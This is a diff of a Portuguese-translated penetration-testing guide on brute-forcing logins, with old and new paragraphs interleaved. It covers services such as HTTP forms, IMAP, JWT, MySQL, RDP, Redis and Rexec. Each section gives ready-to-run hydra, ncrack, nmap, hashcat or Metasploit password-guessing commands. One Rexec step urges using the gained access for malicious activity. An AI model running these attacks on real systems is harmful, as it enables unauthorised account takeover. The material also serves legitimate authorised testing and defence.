- Implementar bloqueio de conta após um número específico de tentativas de login malsucedidas.
|
||||
- Configurar firewalls e listas de permissões para restringir o acesso ao cluster.
|
||||
- Monitorar e registrar atividades suspeitas no cluster.
|
||||
|
||||
Ao implementar essas medidas de segurança, você pode reduzir significativamente o risco de um ataque bem-sucedido de força bruta no seu cluster Elasticsearch.
|
||||
```
|
||||
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst localhost -s 9200 http-get /
|
||||
```
|
||||
|
@ -274,31 +277,15 @@ medusa -h <IP> -u <username> -P <passwords.txt> -M http -m DIR:/path/to/auth -
|
|||
```
|
||||
### HTTP - Postar Formulário
|
||||
|
||||
O método de brute force pode ser usado para atacar formulários de login em sites que utilizam o protocolo HTTP. Nesse tipo de ataque, o hacker tenta adivinhar a combinação correta de nome de usuário e senha, testando várias combinações possíveis.
|
||||
O método de brute force pode ser usado para atacar formulários de login em sites que utilizam o protocolo HTTP. Nesse tipo de ataque, o hacker tenta todas as combinações possíveis de nomes de usuário e senhas até encontrar a combinação correta que permite o acesso ao sistema.
|
||||
|
||||
#### Ferramentas e Recursos
|
||||
Existem várias ferramentas disponíveis que podem automatizar esse processo, como o Hydra e o Medusa. Essas ferramentas permitem que o hacker especifique uma lista de nomes de usuário e senhas, e então as testem automaticamente no formulário de login.
|
||||
|
||||
Existem várias ferramentas disponíveis para realizar ataques de brute force em formulários HTTP. Algumas das mais populares incluem:
|
||||
Para realizar um ataque de brute force em um formulário de login HTTP, o hacker precisa capturar a requisição HTTP POST que é enviada quando o formulário é submetido. Essa requisição contém os parâmetros do formulário, como o nome de usuário e a senha.
|
||||
|
||||
- Hydra: uma ferramenta de linha de comando que suporta vários protocolos, incluindo HTTP.
|
||||
- Medusa: uma ferramenta de brute force que suporta vários protocolos, incluindo HTTP.
|
||||
- Burp Suite: uma suíte de ferramentas de teste de segurança que inclui um módulo de brute force para ataques em formulários HTTP.
|
||||
O hacker pode então usar uma ferramenta como o Burp Suite para modificar a requisição POST e substituir os valores dos parâmetros do formulário pelos valores que ele deseja testar. Em seguida, ele pode enviar a requisição modificada repetidamente, testando diferentes combinações de nomes de usuário e senhas.
|
||||
|
||||
#### Metodologia
|
||||
|
||||
Aqui está uma metodologia básica para realizar um ataque de brute force em um formulário HTTP:
|
||||
|
||||
1. Identifique o formulário de login alvo no site.
|
||||
2. Analise o código-fonte da página para identificar os campos de entrada do formulário (por exemplo, nome de usuário e senha).
|
||||
3. Use uma ferramenta de brute force para automatizar o processo de envio de várias combinações de nome de usuário e senha para o formulário.
|
||||
4. Monitore as respostas do servidor para identificar quando uma combinação correta de nome de usuário e senha for encontrada.
|
||||
5. Registre as credenciais de login encontradas para uso posterior.
|
||||
|
||||
#### Considerações de Segurança
|
||||
|
||||
É importante lembrar que realizar um ataque de brute force em um formulário HTTP é uma atividade ilegal, a menos que você tenha permissão explícita do proprietário do site. Além disso, muitos sites implementam medidas de segurança para detectar e bloquear ataques de brute force, como limitar o número de tentativas de login ou implementar captchas.
|
||||
|
||||
Portanto, é fundamental obter permissão legal antes de realizar qualquer tipo de teste de segurança em um site.
|
||||
É importante ressaltar que o uso de brute force para atacar sistemas é ilegal e antiético, a menos que seja realizado com permissão explícita do proprietário do sistema como parte de um teste de penetração autorizado.
|
||||
```bash
|
||||
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst domain.htb http-post-form "/path/index.php:name=^USER^&password=^PASS^&enter=Sign+in:Login name or password is incorrect" -V
|
||||
# Use https-post-form mode for https
|
||||
|
@ -315,7 +302,7 @@ hydra -l USERNAME -P /path/to/passwords.txt -f <IP> imap -V
|
|||
hydra -S -v -l USERNAME -P /path/to/passwords.txt -s 993 -f <IP> imap -V
|
||||
nmap -sV --script imap-brute -p <PORT> <IP>
|
||||
```
|
||||
IRC (Internet Relay Chat) é um protocolo de comunicação utilizado para trocar mensagens em tempo real através da internet. É amplamente utilizado para comunicação em grupo, discussões e suporte técnico. O IRC é baseado em canais, onde os usuários podem se juntar e participar de conversas. O protocolo IRC permite que os usuários se comuniquem de forma anônima, usando apelidos em vez de nomes reais. O IRC também suporta recursos como bate-papo privado, transferência de arquivos e compartilhamento de links. É importante mencionar que o IRC pode ser alvo de ataques de força bruta, onde um invasor tenta adivinhar senhas ou nomes de usuário para obter acesso não autorizado a um canal ou conta de usuário. Portanto, é essencial implementar medidas de segurança adequadas para proteger a integridade e a privacidade das comunicações no IRC.
|
||||
IRC (Internet Relay Chat) é um protocolo de comunicação utilizado para trocar mensagens em tempo real através da internet. É amplamente utilizado para comunicação em grupo, discussões e suporte técnico. O IRC é baseado em canais, onde os usuários podem se juntar e participar de conversas. Os canais são organizados em servidores, que são responsáveis por encaminhar as mensagens entre os usuários. O IRC também suporta mensagens privadas, permitindo que os usuários se comuniquem individualmente. O protocolo IRC é antigo, mas ainda é usado por muitas comunidades online.
|
||||
```bash
|
||||
nmap -sV --script irc-brute,irc-sasl-brute --script-args userdb=/path/users.txt,passdb=/path/pass.txt -p <PORT> <IP>
|
||||
```
|
||||
|
@ -323,48 +310,51 @@ nmap -sV --script irc-brute,irc-sasl-brute --script-args userdb=/path/users.txt,
|
|||
|
||||
O iSCSI (Internet Small Computer System Interface) é um protocolo de rede que permite a comunicação entre dispositivos de armazenamento de dados, como discos rígidos, e servidores através de uma rede IP. Ele é amplamente utilizado para acessar e gerenciar dispositivos de armazenamento remotos.
|
||||
|
||||
O iSCSI utiliza o método de autenticação CHAP (Challenge-Handshake Authentication Protocol) para garantir a segurança das comunicações entre o servidor e o dispositivo de armazenamento. Além disso, ele oferece recursos avançados, como a capacidade de criar volumes virtuais e compartilhá-los entre vários servidores.
|
||||
O iSCSI utiliza o método de autenticação CHAP (Challenge-Handshake Authentication Protocol) para garantir a segurança das comunicações entre o servidor e o dispositivo de armazenamento. Além disso, ele suporta a criptografia de dados para proteger as informações transmitidas.
|
||||
|
||||
Uma das técnicas de ataque comumente usadas contra o iSCSI é a força bruta. Nesse tipo de ataque, um hacker tenta adivinhar a senha de acesso ao dispositivo de armazenamento, testando várias combinações possíveis até encontrar a correta. Para se proteger contra ataques de força bruta, é importante utilizar senhas fortes e implementar medidas de segurança adicionais, como bloqueio de IP após várias tentativas de login malsucedidas.
|
||||
Uma das técnicas de ataque comumente usadas contra o iSCSI é o brute force, que envolve a tentativa de adivinhar a senha de acesso ao dispositivo de armazenamento através de uma série de tentativas consecutivas. Os hackers podem usar ferramentas automatizadas para realizar ataques de brute force, explorando a fraqueza de senhas fracas ou previsíveis.
|
||||
|
||||
Além disso, existem ferramentas disponíveis que podem ajudar a detectar e prevenir ataques de força bruta contra o iSCSI. Essas ferramentas podem monitorar o tráfego de rede em busca de atividades suspeitas e bloquear automaticamente endereços IP que estão realizando tentativas de login repetidas.
|
||||
Para proteger-se contra ataques de brute force, é importante utilizar senhas fortes e complexas, que sejam difíceis de adivinhar. Além disso, é recomendado implementar medidas de segurança adicionais, como bloqueio de contas após um número específico de tentativas falhas e monitoramento de atividades suspeitas.
|
||||
|
||||
Em resumo, o iSCSI é um protocolo de rede amplamente utilizado para acessar dispositivos de armazenamento remotos. No entanto, é importante estar ciente dos riscos de segurança associados a ele, como ataques de força bruta, e tomar as medidas adequadas para proteger seus sistemas.
|
||||
Em resumo, o iSCSI é um protocolo de rede utilizado para acessar dispositivos de armazenamento remotos. No entanto, é importante estar ciente dos riscos de segurança associados a ele e tomar medidas adequadas para proteger os dados armazenados.
|
||||
```bash
|
||||
nmap -sV --script iscsi-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 3260 <IP>
|
||||
```
|
||||
### JWT
|
||||
|
||||
O JSON Web Token (JWT) é um método de autenticação amplamente utilizado na web. Ele permite que os usuários se autentiquem e acessem recursos protegidos por meio de um token seguro. Um JWT consiste em três partes: o cabeçalho, a carga útil e a assinatura.
|
||||
O JSON Web Token (JWT) é um método de autenticação amplamente utilizado na web. Ele permite que os usuários se autentiquem e acessem recursos protegidos por meio de um token seguro. O JWT consiste em três partes: o cabeçalho, a carga útil e a assinatura.
|
||||
|
||||
#### Cabeçalho
|
||||
|
||||
O cabeçalho de um JWT contém informações sobre o tipo de token e o algoritmo de assinatura usado. Geralmente, o tipo de token é definido como "JWT" e o algoritmo de assinatura pode ser HMAC, RSA ou ECDSA.
|
||||
O cabeçalho do JWT contém informações sobre o tipo de token e o algoritmo de assinatura usado. Geralmente, o tipo de token é definido como "JWT" e o algoritmo de assinatura pode ser HMAC, RSA ou ECDSA.
|
||||
|
||||
#### Carga útil
|
||||
|
||||
A carga útil de um JWT contém as informações que são transmitidas entre as partes envolvidas. Essas informações podem incluir dados do usuário, como o ID do usuário, o nome e as permissões.
|
||||
A carga útil do JWT contém as informações que são transmitidas entre o emissor e o receptor. Essas informações podem incluir dados do usuário, como o ID do usuário, o nome e as permissões.
|
||||
|
||||
#### Assinatura
|
||||
|
||||
A assinatura de um JWT é usada para verificar a integridade do token e garantir que ele não tenha sido alterado durante a transmissão. A assinatura é gerada usando uma chave secreta conhecida apenas pelo emissor e pelo receptor do token.
|
||||
A assinatura do JWT é usada para verificar a integridade do token e garantir que ele não tenha sido alterado durante a transmissão. A assinatura é gerada usando uma chave secreta conhecida apenas pelo emissor e pelo receptor.
|
||||
|
||||
#### Ataques de força bruta
|
||||
|
||||
Os ataques de força bruta são uma técnica comum usada para quebrar senhas ou chaves criptográficas. Nesse tipo de ataque, o invasor tenta todas as combinações possíveis até encontrar a senha ou chave correta.
|
||||
|
||||
#### Protegendo contra ataques de força bruta
|
||||
Existem várias ferramentas disponíveis para realizar ataques de força bruta, como o Hydra e o Medusa. Essas ferramentas automatizam o processo de tentar várias combinações em uma velocidade muito alta.
|
||||
|
||||
Existem várias maneiras de proteger um sistema contra ataques de força bruta. Alguns métodos eficazes incluem:
|
||||
Para proteger um sistema contra ataques de força bruta, é importante implementar medidas de segurança, como bloqueio de contas após várias tentativas falhas, uso de senhas fortes e implementação de mecanismos de autenticação de dois fatores.
|
||||
|
||||
- Implementar bloqueio de conta após várias tentativas falhas de login.
|
||||
- Usar senhas fortes e complexas.
|
||||
- Implementar um mecanismo de autenticação de dois fatores.
|
||||
- Usar algoritmos de hash fortes para armazenar senhas.
|
||||
#### Recursos e metodologias genéricas
|
||||
|
||||
#### Conclusão
|
||||
Existem várias metodologias e recursos genéricos disponíveis para ajudar os hackers éticos a realizar testes de penetração de forma eficaz. Alguns exemplos incluem:
|
||||
|
||||
O JWT é uma forma popular de autenticação na web, mas é importante protegê-lo contra ataques de força bruta. Implementar medidas de segurança adequadas pode ajudar a garantir a integridade e a segurança do sistema.
|
||||
- Metodologia OSSTMM (Open Source Security Testing Methodology Manual)
|
||||
- Metodologia PTES (Penetration Testing Execution Standard)
|
||||
- Ferramentas de código aberto, como o Metasploit Framework
|
||||
- Listas de palavras-chave comuns, como o SecLists
|
||||
- Fóruns e comunidades online para compartilhar conhecimento e obter suporte
|
||||
|
||||
Ao realizar testes de penetração, é importante seguir uma metodologia bem definida e usar os recursos adequados para garantir resultados precisos e confiáveis.
|
||||
```bash
|
||||
#hashcat
|
||||
hashcat -m 16500 -a 0 jwt.txt .\wordlists\rockyou.txt
|
||||
|
@ -397,9 +387,17 @@ MQTT (Message Queuing Telemetry Transport) é um protocolo de mensagens leve e d
|
|||
|
||||
O MQTT utiliza um modelo de publicação/assinatura, onde os dispositivos podem publicar mensagens em tópicos específicos e outros dispositivos podem se inscrever nesses tópicos para receber as mensagens. Isso permite uma comunicação eficiente e escalável entre os dispositivos.
|
||||
|
||||
Uma técnica comum de ataque contra sistemas MQTT é a força bruta, onde um atacante tenta adivinhar as credenciais de autenticação para obter acesso não autorizado ao sistema. Isso pode ser feito através de tentativas repetidas de combinações de nomes de usuário e senhas até que a combinação correta seja encontrada.
|
||||
No entanto, como qualquer protocolo de comunicação, o MQTT também pode ser alvo de ataques. Um dos ataques mais comuns é o ataque de força bruta, onde um invasor tenta adivinhar as credenciais de autenticação de um dispositivo MQTT. Isso pode ser feito tentando várias combinações de nomes de usuário e senhas até encontrar a combinação correta.
|
||||
|
||||
Para proteger um sistema MQTT contra ataques de força bruta, é importante implementar medidas de segurança, como o uso de senhas fortes, a limitação do número de tentativas de login e a implementação de bloqueio de conta após um número específico de tentativas falhas. Além disso, é recomendado o uso de criptografia para proteger as comunicações MQTT e a autenticação de dispositivos para garantir que apenas dispositivos confiáveis possam se conectar ao sistema.
|
||||
Para proteger um sistema MQTT contra ataques de força bruta, é importante implementar medidas de segurança adequadas, como:
|
||||
|
||||
- Usar senhas fortes e complexas para autenticação.
|
||||
- Limitar o número de tentativas de login.
|
||||
- Implementar bloqueio de conta após várias tentativas de login malsucedidas.
|
||||
- Monitorar e registrar atividades suspeitas.
|
||||
- Manter o software MQTT atualizado com as últimas correções de segurança.
|
||||
|
||||
Ao seguir essas práticas recomendadas, é possível reduzir significativamente o risco de um ataque de força bruta bem-sucedido em um sistema MQTT.
|
||||
```
|
||||
ncrack mqtt://127.0.0.1 --user test –P /root/Desktop/pass.txt -v
|
||||
```
|
||||
|
@ -417,7 +415,7 @@ Para proteger seu banco de dados Mongo contra ataques de força bruta, é import
|
|||
|
||||
3. Atualize regularmente: Mantenha seu banco de dados Mongo atualizado com as versões mais recentes. As atualizações geralmente incluem correções de segurança que podem ajudar a proteger contra ataques.
|
||||
|
||||
4. Monitore atividades suspeitas: Fique atento a qualquer atividade incomum em seu banco de dados Mongo, como tentativas repetidas de login ou acesso não autorizado. Isso pode indicar um possível ataque em andamento.
|
||||
4. Monitore atividades suspeitas: Fique atento a qualquer atividade incomum em seu banco de dados Mongo, como tentativas repetidas de login ou acesso não autorizado. Isso pode ser um sinal de um ataque em andamento.
|
||||
|
||||
Ao implementar essas práticas recomendadas, você pode fortalecer a segurança do seu banco de dados Mongo e reduzir o risco de ataques de força bruta bem-sucedidos.
|
||||
```bash
|
||||
|
@ -432,16 +430,16 @@ O MySQL é um sistema de gerenciamento de banco de dados relacional de código a
|
|||
|
||||
Um ataque de força bruta é uma técnica usada para descobrir senhas ou chaves de criptografia, tentando todas as combinações possíveis até encontrar a correta. No contexto do MySQL, um ataque de força bruta pode ser usado para tentar adivinhar a senha de um usuário com acesso ao banco de dados.
|
||||
|
||||
Existem várias ferramentas disponíveis para realizar ataques de força bruta contra o MySQL. Essas ferramentas automatizam o processo de tentar várias combinações de senhas em uma velocidade muito alta. Os atacantes podem usar dicionários de senhas comuns ou gerar senhas aleatórias para tentar adivinhar a senha correta.
|
||||
Existem várias ferramentas disponíveis para realizar ataques de força bruta contra o MySQL. Essas ferramentas automatizam o processo de tentar várias combinações de senhas em um curto período de tempo. Os atacantes podem usar dicionários de senhas comuns ou gerar senhas aleatórias para tentar adivinhar a senha correta.
|
||||
|
||||
Para proteger o MySQL contra ataques de força bruta, é importante implementar medidas de segurança, como:
|
||||
|
||||
- Usar senhas fortes e complexas para os usuários do MySQL.
|
||||
- Limitar o número de tentativas de login permitidas antes de bloquear temporariamente o acesso.
|
||||
- Implementar autenticação de dois fatores para adicionar uma camada extra de segurança.
|
||||
- Monitorar e registrar tentativas de login mal-sucedidas para identificar possíveis ataques.
|
||||
- Monitorar e registrar atividades suspeitas de login.
|
||||
|
||||
Além disso, é recomendável manter o MySQL atualizado com as últimas correções de segurança e seguir as práticas recomendadas de segurança para proteger o banco de dados contra ataques.
|
||||
Além disso, é recomendável manter o MySQL atualizado com as últimas correções de segurança e seguir as práticas recomendadas de segurança.
|
||||
```bash
|
||||
# hydra
|
||||
hydra -L usernames.txt -P pass.txt <IP> mysql
|
||||
|
@ -545,15 +543,15 @@ Existem várias maneiras de realizar um ataque de força bruta no PostgreSQL:
|
|||
|
||||
Existem várias medidas que podem ser tomadas para proteger o PostgreSQL contra ataques de força bruta:
|
||||
|
||||
1. **Políticas de Senha Forte**: Implemente políticas de senha fortes que exijam senhas complexas e de comprimento adequado. Isso tornará mais difícil para os invasores adivinharem as senhas.
|
||||
1. **Políticas de Senha Fortes**: Implemente políticas de senha fortes que exijam senhas complexas e de comprimento adequado. Isso tornará mais difícil para os invasores adivinharem as senhas.
|
||||
|
||||
2. **Bloqueio de Conta**: Configure o PostgreSQL para bloquear temporariamente uma conta após um número específico de tentativas de login malsucedidas. Isso ajudará a proteger contra ataques de força bruta.
|
||||
|
||||
3. **Monitoramento de Log**: Monitore os logs do PostgreSQL em busca de atividades suspeitas, como várias tentativas de login malsucedidas. Isso pode ajudar a identificar e responder rapidamente a ataques de força bruta.
|
||||
3. **Monitoramento de Log**: Monitore os logs do PostgreSQL em busca de atividades suspeitas, como várias tentativas de login malsucedidas. Isso pode ajudar a identificar e responder a ataques de força bruta.
|
||||
|
||||
4. **Atualizações e Patches**: Mantenha o PostgreSQL atualizado com as últimas atualizações e patches de segurança. Isso ajudará a corrigir quaisquer vulnerabilidades conhecidas que possam ser exploradas por invasores.
|
||||
|
||||
5. **Firewall**: Configure um firewall para restringir o acesso ao PostgreSQL apenas a partir de endereços IP confiáveis. Isso ajudará a proteger contra ataques de força bruta de origens desconhecidas.
|
||||
5. **Firewall**: Configure um firewall para restringir o acesso ao PostgreSQL apenas a endereços IP confiáveis. Isso ajudará a proteger contra ataques de força bruta de origens desconhecidas.
|
||||
|
||||
Ao implementar essas medidas de segurança, você pode ajudar a proteger o PostgreSQL contra ataques de força bruta e manter seus dados seguros.
|
||||
```bash
|
||||
|
@ -577,43 +575,45 @@ O Protocolo de Desktop Remoto (RDP) é um protocolo de rede desenvolvido pela Mi
|
|||
|
||||
#### Ataques de Força Bruta
|
||||
|
||||
Um ataque de força bruta é uma técnica usada para descobrir senhas ou chaves criptográficas através da tentativa de todas as combinações possíveis até encontrar a correta. No contexto do RDP, um ataque de força bruta envolve tentar todas as combinações possíveis de nomes de usuário e senhas para acessar um sistema RDP.
|
||||
Um ataque de força bruta é uma técnica usada para descobrir senhas ou chaves criptográficas através da tentativa de todas as combinações possíveis até encontrar a correta. No contexto do RDP, um ataque de força bruta envolve tentar todas as combinações possíveis de nome de usuário e senha para acessar um sistema remoto.
|
||||
|
||||
Existem várias ferramentas disponíveis para realizar ataques de força bruta no RDP, como o Hydra e o Medusa. Essas ferramentas automatizam o processo de tentativa de login com várias combinações de credenciais.
|
||||
Existem várias ferramentas disponíveis para realizar ataques de força bruta no RDP, como o Hydra e o Medusa. Essas ferramentas automatizam o processo de tentativa de login com várias combinações de credenciais, tornando o ataque mais eficiente.
|
||||
|
||||
Para proteger um sistema RDP contra ataques de força bruta, é importante implementar medidas de segurança, como:
|
||||
Para proteger um sistema RDP contra ataques de força bruta, é importante implementar medidas de segurança, como o uso de senhas fortes, a configuração de bloqueio de conta após várias tentativas de login malsucedidas e a implementação de autenticação em dois fatores.
|
||||
|
||||
- Usar senhas fortes e complexas que sejam difíceis de adivinhar.
|
||||
- Implementar bloqueio de conta após um número específico de tentativas de login malsucedidas.
|
||||
- Configurar um firewall para bloquear endereços IP suspeitos ou fontes de tráfego malicioso.
|
||||
- Atualizar regularmente o sistema operacional e o software RDP para corrigir quaisquer vulnerabilidades conhecidas.
|
||||
Além disso, é recomendável monitorar os logs de eventos do sistema para detectar atividades suspeitas e implementar firewalls para restringir o acesso ao serviço RDP apenas a endereços IP confiáveis.
|
||||
|
||||
Além disso, é recomendável monitorar os logs de eventos do sistema para detectar atividades suspeitas ou tentativas de login malsucedidas.
|
||||
#### Mitigação de Ataques de Força Bruta
|
||||
|
||||
Existem várias medidas que podem ser tomadas para mitigar ataques de força bruta no RDP:
|
||||
|
||||
- Use senhas fortes: escolha senhas complexas que sejam difíceis de adivinhar.
|
||||
- Implemente bloqueio de conta: configure o sistema para bloquear uma conta após várias tentativas de login malsucedidas.
|
||||
- Use autenticação em dois fatores: adicione uma camada extra de segurança exigindo uma segunda forma de autenticação, como um código enviado por SMS.
|
||||
- Monitore logs de eventos: verifique regularmente os logs de eventos do sistema em busca de atividades suspeitas.
|
||||
- Restrinja o acesso: configure firewalls para permitir o acesso ao serviço RDP apenas a endereços IP confiáveis.
|
||||
|
||||
Ao implementar essas medidas de segurança, é possível reduzir significativamente o risco de um ataque de força bruta bem-sucedido no RDP.
|
||||
```bash
|
||||
ncrack -vv --user <User> -P pwds.txt rdp://<IP>
|
||||
hydra -V -f -L <userslist> -P <passwlist> rdp://<IP>
|
||||
```
|
||||
# Brute Force
|
||||
|
||||
O brute force é uma técnica de ataque que envolve tentar todas as combinações possíveis de senhas até encontrar a correta. É uma abordagem simples, mas pode ser eficaz se a senha for fraca ou se o atacante tiver recursos computacionais significativos.
|
||||
O brute force é uma técnica de ataque que envolve tentar todas as combinações possíveis de senhas até encontrar a correta. É uma abordagem direta e demorada, mas pode ser eficaz se a senha for fraca ou se o número de combinações possíveis for pequeno.
|
||||
|
||||
## Ataques de Brute Force em Redis
|
||||
No contexto do Redis, o brute force pode ser usado para tentar adivinhar a senha de acesso a um servidor Redis protegido por autenticação. O Redis é um banco de dados em memória que é frequentemente usado como cache ou armazenamento de dados temporários. Se um invasor conseguir acessar um servidor Redis, ele pode obter informações confidenciais ou até mesmo comprometer outros sistemas conectados a ele.
|
||||
|
||||
O Redis é um banco de dados em memória que armazena dados na forma de chave-valor. Embora o Redis tenha recursos de segurança, como autenticação de senha, ainda é vulnerável a ataques de brute force se a senha for fraca ou se não houver medidas adicionais de segurança implementadas.
|
||||
Existem várias ferramentas disponíveis para realizar ataques de brute force no Redis. Essas ferramentas automatizam o processo de tentar várias combinações de senhas em um curto período de tempo. Além disso, existem listas de senhas comuns disponíveis na internet, que podem ser usadas como ponto de partida para um ataque de brute force.
|
||||
|
||||
Existem várias ferramentas disponíveis para realizar ataques de brute force em servidores Redis. Essas ferramentas automatizam o processo de tentar várias combinações de senhas em um curto período de tempo. Além disso, os atacantes também podem escrever scripts personalizados para realizar ataques de brute force.
|
||||
Para proteger um servidor Redis contra ataques de brute force, é importante seguir boas práticas de segurança, como:
|
||||
|
||||
## Mitigação de Ataques de Brute Force em Redis
|
||||
- Usar senhas fortes e complexas, que sejam difíceis de adivinhar.
|
||||
- Limitar o número de tentativas de login, bloqueando temporariamente o IP após um número específico de falhas.
|
||||
- Monitorar os logs de acesso para detectar atividades suspeitas.
|
||||
- Manter o servidor Redis atualizado com as últimas correções de segurança.
|
||||
|
||||
Para mitigar ataques de brute force em servidores Redis, é importante seguir as práticas recomendadas de segurança, como:
|
||||
|
||||
- Usar senhas fortes: escolher senhas longas e complexas que sejam difíceis de adivinhar.
|
||||
- Implementar bloqueio de conta: configurar o Redis para bloquear temporariamente uma conta após um número específico de tentativas de login malsucedidas.
|
||||
- Limitar o acesso: restringir o acesso ao servidor Redis apenas a endereços IP confiáveis ou redes específicas.
|
||||
- Monitorar atividades suspeitas: monitorar logs e atividades de login para identificar padrões suspeitos de tentativas de brute force.
|
||||
- Atualizar regularmente: manter o Redis atualizado com as últimas correções de segurança para mitigar vulnerabilidades conhecidas.
|
||||
|
||||
Ao implementar essas medidas de segurança, é possível reduzir significativamente o risco de ataques de brute force bem-sucedidos em servidores Redis.
|
||||
Ao implementar essas medidas de segurança, é possível reduzir significativamente o risco de um ataque de brute force bem-sucedido no Redis.
|
||||
```bash
|
||||
msf> use auxiliary/scanner/redis/redis_login
|
||||
nmap --script redis-brute -p 6379 <IP>
|
||||
|
@ -621,17 +621,41 @@ hydra –P /path/pass.txt redis://<IP>:<PORT> # 6379 is the default
|
|||
```
|
||||
### Rexec
|
||||
|
||||
O Rexec é um protocolo de rede que permite a execução remota de comandos em um servidor. Ele é frequentemente usado para fins administrativos, permitindo que os administradores executem comandos em servidores remotos sem precisar fazer login diretamente no servidor.
|
||||
O Rexec é um protocolo de rede que permite a execução remota de comandos em um servidor. É comumente usado para administrar sistemas Unix e Linux de forma remota. No entanto, também pode ser uma vulnerabilidade de segurança se não for configurado corretamente.
|
||||
|
||||
No entanto, o Rexec também pode ser explorado por hackers para realizar ataques de força bruta. Um ataque de força bruta é quando um hacker tenta adivinhar a senha correta de um usuário, testando várias combinações de senhas até encontrar a correta.
|
||||
#### Ataque de Força Bruta
|
||||
|
||||
Para realizar um ataque de força bruta no Rexec, um hacker usaria um programa automatizado que tenta várias combinações de senhas em rápida sucessão. O objetivo é encontrar uma senha válida que permita ao hacker acessar o servidor remotamente.
|
||||
Um ataque de força bruta é uma técnica usada para descobrir senhas ou chaves criptográficas por meio de tentativa e erro. No contexto do Rexec, um ataque de força bruta envolve tentar várias combinações de nomes de usuário e senhas para obter acesso não autorizado a um servidor.
|
||||
|
||||
Existem várias ferramentas disponíveis para realizar ataques de força bruta no Rexec, como o Hydra e o Medusa. Essas ferramentas são capazes de testar milhares de combinações de senhas por segundo, tornando o processo de adivinhar a senha muito mais rápido.
|
||||
#### Metodologia
|
||||
|
||||
Para se proteger contra ataques de força bruta no Rexec, é importante usar senhas fortes e complexas. Isso significa usar uma combinação de letras maiúsculas e minúsculas, números e caracteres especiais. Além disso, é recomendável implementar medidas de segurança adicionais, como bloquear endereços IP após várias tentativas de login malsucedidas.
|
||||
1. Identifique o alvo: Determine o endereço IP ou o nome de domínio do servidor Rexec que você deseja atacar.
|
||||
|
||||
Em resumo, o Rexec é um protocolo de rede que permite a execução remota de comandos em servidores. No entanto, ele também pode ser explorado por hackers para realizar ataques de força bruta. É importante tomar medidas de segurança adequadas para proteger-se contra esses ataques.
|
||||
2. Enumere usuários: Use ferramentas de enumeração de usuários para obter uma lista de nomes de usuário válidos no servidor Rexec.
|
||||
|
||||
3. Crie uma lista de senhas: Crie uma lista de senhas comumente usadas, senhas padrão ou senhas específicas do alvo.
|
||||
|
||||
4. Execute o ataque de força bruta: Use uma ferramenta de força bruta, como Hydra ou Medusa, para tentar todas as combinações possíveis de nomes de usuário e senhas.
|
||||
|
||||
5. Analise os resultados: Analise os resultados do ataque de força bruta para identificar combinações bem-sucedidas de nomes de usuário e senhas.
|
||||
|
||||
6. Acesso não autorizado: Se o ataque for bem-sucedido, você terá acesso não autorizado ao servidor Rexec. Use esse acesso para realizar atividades maliciosas ou obter informações confidenciais.
|
||||
|
||||
#### Medidas de Prevenção
|
||||
|
||||
Para proteger seu servidor Rexec contra ataques de força bruta, você pode tomar as seguintes medidas:
|
||||
|
||||
- Use senhas fortes: Certifique-se de que todas as contas de usuário tenham senhas fortes e exclusivas.
|
||||
|
||||
- Limite as tentativas de login: Configure seu servidor Rexec para bloquear temporariamente endereços IP após um número específico de tentativas de login malsucedidas.
|
||||
|
||||
- Implemente autenticação de dois fatores: Adicione uma camada extra de segurança exigindo uma segunda forma de autenticação, como um código de verificação enviado por SMS.
|
||||
|
||||
- Monitore logs de autenticação: Monitore regularmente os logs de autenticação do servidor Rexec em busca de atividades suspeitas ou tentativas de login malsucedidas.
|
||||
|
||||
- Mantenha o software atualizado: Mantenha seu servidor Rexec atualizado com as últimas correções de segurança e patches.
|
||||
|
||||
Ao implementar essas medidas de prevenção, você pode reduzir significativamente o risco de um ataque de força bruta bem-sucedido em seu servidor Rexec.
|
||||
```bash
|
||||
hydra -l <username> -P <password_file> rexec://<Victim-IP> -v -V
|
||||
```
|
||||
|
@ -641,22 +665,17 @@ O Rlogin é um protocolo de rede que permite a um usuário se conectar a um serv
|
|||
|
||||
#### Técnica de Força Bruta
|
||||
|
||||
A técnica de força bruta é um método utilizado para descobrir senhas através de tentativas repetidas de todas as combinações possíveis. No contexto do Rlogin, um atacante pode usar a técnica de força bruta para tentar adivinhar a senha de um usuário remoto.
|
||||
A técnica de força bruta é um método utilizado para quebrar senhas através da tentativa de todas as combinações possíveis até encontrar a senha correta. No contexto do Rlogin, um atacante pode usar a técnica de força bruta para tentar adivinhar a senha de um usuário remoto.
|
||||
|
||||
#### Ferramentas de Força Bruta
|
||||
#### Ferramentas e Recursos
|
||||
|
||||
Existem várias ferramentas disponíveis para realizar ataques de força bruta no Rlogin. Algumas das ferramentas populares incluem Hydra, Medusa e Ncrack. Essas ferramentas automatizam o processo de tentativa de várias combinações de senhas em alta velocidade.
|
||||
Existem várias ferramentas e recursos disponíveis para realizar ataques de força bruta no Rlogin. Alguns exemplos incluem:
|
||||
|
||||
#### Mitigação de Ataques de Força Bruta
|
||||
- Hydra: uma ferramenta de força bruta que suporta vários protocolos, incluindo Rlogin.
|
||||
- Medusa: uma ferramenta de força bruta e varredura de rede que também suporta o protocolo Rlogin.
|
||||
- John the Ripper: uma ferramenta de quebra de senha que pode ser usada para realizar ataques de força bruta no Rlogin.
|
||||
|
||||
Para mitigar ataques de força bruta no Rlogin, é recomendado implementar medidas de segurança, como:
|
||||
|
||||
- Usar senhas fortes e complexas que sejam difíceis de adivinhar.
|
||||
- Implementar bloqueio de conta após um número específico de tentativas de login malsucedidas.
|
||||
- Usar autenticação de dois fatores para adicionar uma camada extra de segurança.
|
||||
- Monitorar logs de autenticação para detectar atividades suspeitas.
|
||||
|
||||
Ao implementar essas medidas, é possível reduzir significativamente o risco de um ataque bem-sucedido de força bruta no Rlogin.
|
||||
É importante ressaltar que o uso de ferramentas de força bruta para acessar sistemas sem autorização é ilegal e antiético. Essas ferramentas devem ser usadas apenas para fins legítimos, como testes de penetração em sistemas autorizados.
|
||||
```bash
|
||||
hydra -l <username> -P <password_file> rlogin://<Victim-IP> -v -V
|
||||
```
|
||||
|
@ -676,11 +695,11 @@ hydra -L <Username_list> rsh://<Victim_IP> -v -V
|
|||
|
||||
### Rsync
|
||||
|
||||
Rsync é uma ferramenta de sincronização de arquivos amplamente utilizada que permite transferir e sincronizar dados entre sistemas remotos. É especialmente útil para fazer backup de arquivos e espelhar diretórios entre servidores.
|
||||
